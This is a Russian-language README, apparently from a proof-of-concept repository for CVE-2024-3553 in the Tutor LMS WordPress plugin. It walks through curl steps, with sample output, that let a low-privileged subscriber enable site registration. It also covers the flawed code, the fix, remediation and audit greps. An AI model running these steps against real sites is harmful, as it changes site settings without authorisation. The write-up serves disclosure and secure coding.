
CVE-2024-3553: Tutor LMS <= 2.6.2 - Missing Authorization vulnerability allowing authenticated attackers to enable user registration
Плагин Tutor LMS – eLearning and online course solution для WordPress уязвим к несанкционированной модификации данных из-за отсутствия проверки прав доступа в функции hide_notices() во всех версиях до 2.6.2 включительно. Это позволяет аутентифицированным атакующим (включая пользователей с низкими привилегиями, таких как подписчики) включать регистрацию пользователей на сайтах, где она могла быть отключена администраторами.
Полный эксплойт на Python доступен: exploit-cve-2024-3553-v2.py
# Полная автоматическая эксплуатация
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123
# Только проверка статуса регистрации
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only
Предварительные требования:
Шаг 1: Войти как пользователь с низкими привилегиями
# Войти как подписчик или любой аутентифицированный пользователь
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
https://target.com/wp-login.php
Шаг 2: Извлечь nonce из панели администратора
# Любой аутентифицированный пользователь может получить доступ к /wp-admin/ (даже подписчики)
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1
Шаг 3: Выполнить эксплойт
# Отправить запрос на включение регистрации пользователей
curl -b cookies.txt \
"https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"
Шаг 4: Проверить успешность
# Проверить, включена ли теперь регистрация
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "Регистрация ВКЛЮЧЕНА" || echo "Регистрация ОТКЛЮЧЕНА"
# Любой аутентифицированный пользователь может просто посетить:
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>
======================================================================
CVE-2024-3553 Эксплойт - Отсутствие авторизации в Tutor LMS
Цель: https://target.com
======================================================================
[*] Проверка текущего статуса регистрации...
[+] Регистрация в настоящее время ОТКЛЮЧЕНА
[*] Попытка входа как: subscriber
[+] Успешно вошли как: subscriber
[*] Шаг 2: Извлечение nonce из панели администратора...
[+] Найден nonce: abc123def456
[*] Шаг 3: Выполнение эксплойта для включения регистрации пользователей...
[*] Цель: https://target.com
[*] Используется nonce: abc123def456
[*] URL эксплойта: https://target.com/wp-admin/index.php
[*] Параметры: {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] Статус ответа: 200
[+] Запрос эксплойта успешно отправлен!
[*] Шаг 4: Проверка успешности эксплуатации...
[+] Регистрация в настоящее время ВКЛЮЧЕНА
======================================================================
[!] ЭКСПЛУАТАЦИЯ УСПЕШНА!
[!] Регистрация пользователей теперь ВКЛЮЧЕНА
[!]
[!] Воздействие: Атакующий с учётной записью с низкими привилегиями (подписчик)
[!] смог включить регистрацию пользователей на сайте, где она была
[!] отключена. Это может позволить создание дополнительных учётных записей,
[!] потенциально ведущее к спаму или несанкционированному доступу.
======================================================================
Файл: /classes/User.php (строки ~800-815)
public function hide_notices() {
$hide_notice = Input::get( 'tutor-hide-notice', '' );
$is_register_enabled = Input::get( 'tutor-registration', '' );
// CRITICAL FLAW: is_admin() only checks if in admin area, NOT user role!
if ( is_admin() && 'registration' === $hide_notice ) {
tutor_utils()->checking_nonce( 'get' );
if ( 'enable' === $is_register_enabled ) {
// NO CAPABILITY CHECK - Any authenticated user can execute this!
update_option( 'users_can_register', 1 );
} else {
self::$hide_registration_notice = true;
setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
}
}
}
Ключевые точки уязвимости:
is_admin() проверяет только то, что запрос направлен к странице администратора, НЕ то, что пользователь является администратором/wp-admin/ (даже подписчики)current_user_can('manage_options')users_can_registerФайл: /classes/User.php (исправленная версия)
public function hide_notices() {
$hide_notice = Input::get( 'tutor-hide-notice', '' );
$is_register_enabled = Input::get( 'tutor-registration', '' );
// SECURITY FIX: Added capability check
$has_manage_cap = current_user_can( 'manage_options' );
if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
tutor_utils()->checking_nonce( 'get' );
if ( 'enable' === $is_register_enabled ) {
update_option( 'users_can_register', 1 ); // Now properly protected
} else {
self::$hide_registration_notice = true;
setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
}
}
}
Патч добавляет current_user_can('manage_options') для проверки наличия привилегий администратора у пользователя перед разрешением обновления опции.
Эта уязвимость демонстрирует критическое непонимание функций авторизации WordPress:
НЕПРАВИЛЬНО ❌:
if ( is_admin() ) {
// Думая, что это означает "пользователь является администратором"
update_option( 'sensitive_option', $value );
}
ПРАВИЛЬНО ✅:
if ( current_user_can( 'manage_options' ) ) {
// Действительно проверяет, есть ли у пользователя административные возможности
update_option( 'sensitive_option', $value );
}
Правильная безопасность WordPress требует нескольких уровней:
Отсутствие ЛЮБОГО из этих уровней может привести к уязвимостям.
Для администраторов сайтов:
Немедленно обновите Tutor LMS до версии 2.7.0 или новее:
# Через WP-CLI
wp plugin update tutor --version=2.7.0
# Через панель администратора WordPress
Панель управления → Плагины → Найдите "Tutor LMS" → Нажмите "Обновить сейчас"
Проверьте недавние изменения:
# Проверьте, была ли изменена настройка регистрации недавно
wp option get users_can_register
# Просмотрите недавние регистрации пользователей
wp user list --orderby=registered --order=DESC --number=20
is_admin() для авторизацииcurrent_user_can() для проверки прав доступаПри аудите плагинов WordPress на предмет проблем с авторизацией:
# 1. Найдите is_admin() без проверок прав доступа
grep -r "is_admin()" . | grep -v "current_user_can"
# 2. Найдите прямые обновления опций
grep -r "update_option\|add_option" .
# 3. Найдите обработчики AJAX без проверок прав доступа
grep -r "wp_ajax_" . -A 10 | grep -v "current_user_can"
README.md - Этот файлexploit-cve-2024-3553.py - Базовый эксплойт на Pythonexploit-cve-2024-3553-v2.py - Улучшенный эксплойт на Python с подробной документациейmanual-exploit-cve-2024-3553.sh - Скрипт ручной эксплуатацииtest-cve-2024-3553-direct.sh - Скрипт прямой проверкиОбнаружено: 2024-04-15 Раскрыто: 2024-05-20 Исправлено: 2024-05-21 (v2.7.0) Дата тестирования: 2025-12-26 Классификация: Успешная валидация уязвимости
| Функция | Что на самом деле проверяет | Использование для безопасности |
|---|
is_admin() | Находится ли текущий URL в /wp-admin/ | ❌ НЕ для авторизации |
current_user_can() | Есть ли у пользователя определённая возможность | ✅ Правильная авторизация |
wp_verify_nonce() | Является ли запрос преднамеренным (защита CSRF) | ✅ Но недостаточно сама по себе |